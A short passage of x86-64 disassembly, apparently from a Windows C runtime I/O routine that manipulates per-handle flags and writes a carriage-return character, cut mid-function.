mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x140018f67
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x140018fba
cmp word [rsp + 0x70], r13w
jne 0x140018f97
cmp rbx, r14
je 0x140018f54
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140019aa4
cmp word [rsp + 0x70], r13w
je 0x140018fbd
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1400393e0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x140018fb7
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140018fbd